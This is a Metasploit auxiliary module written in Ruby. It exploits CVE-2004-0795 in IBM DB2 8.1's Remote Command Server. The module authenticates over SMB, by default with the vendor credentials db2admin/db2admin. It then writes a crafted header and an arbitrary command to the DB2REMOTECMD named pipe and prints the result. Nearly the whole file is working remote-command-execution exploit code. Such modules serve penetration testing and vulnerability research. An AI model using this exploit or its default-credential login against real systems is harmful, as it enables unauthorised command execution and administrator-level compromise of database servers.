91 lines
2.6 KiB
Ruby
91 lines
2.6 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::SMB::Client
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'IBM DB2 db2rcmd.exe Command Execution Vulnerability',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in the Remote Command Server
|
|
component in IBM's DB2 Universal Database 8.1. An authenticated
|
|
attacker can send arbitrary commands to the DB2REMOTECMD named pipe
|
|
which could lead to administrator privileges.
|
|
},
|
|
'Author' => [ 'MC' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2004-0795' ],
|
|
[ 'OSVDB', '4180' ],
|
|
[ 'BID', '9821' ],
|
|
],
|
|
'DisclosureDate' => 'Mar 4 2004'))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('CMD', [ true, 'The command to execute', 'ver']),
|
|
OptString.new('SMBUser', [ true, 'The username to authenticate as', 'db2admin']),
|
|
OptString.new('SMBPass', [ true, 'The password for the specified username', 'db2admin'])
|
|
], self.class )
|
|
end
|
|
|
|
def run
|
|
|
|
print_status("Connecting to the server...")
|
|
connect()
|
|
|
|
print_status("Authenticating as user '#{datastore['SMBUser']}' with pass '#{datastore['SMBPass']}'...")
|
|
|
|
# Connect with a valid user/pass. if not, then bail.
|
|
begin
|
|
smb_login()
|
|
rescue ::Exception => e
|
|
print_error("Error: #{e}")
|
|
disconnect
|
|
return
|
|
end
|
|
|
|
# Have it so our command arg is convenient to call.
|
|
rcmd = datastore['CMD']
|
|
|
|
print_status("Connecting to named pipe \\DB2REMOTECMD...")
|
|
|
|
# If the pipe doesn't exist, bail.
|
|
begin
|
|
pipe = simple.create_pipe('\\DB2REMOTECMD')
|
|
rescue ::Exception => e
|
|
print_error("Error: #{e}")
|
|
disconnect
|
|
return
|
|
end
|
|
|
|
# If we get this far, do the dance.
|
|
|
|
fid = pipe.file_id
|
|
|
|
# Need to make a Trans2 request with the param of 'QUERY_FILE_INFO' keeping our file_id
|
|
trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')
|
|
|
|
# Write to the pipe, our command length comes into play.
|
|
pipe.write([0x00000001].pack('V') + "DB2" + "\x00" * 525 + [rcmd.length].pack('V'))
|
|
# Send off our command
|
|
pipe.write(rcmd)
|
|
|
|
# Read from the pipe and give us the data.
|
|
res = pipe.read()
|
|
print_line(res)
|
|
|
|
# Close the named pipe and disconnect from the socket.
|
|
pipe.close
|
|
disconnect
|
|
|
|
end
|
|
end
|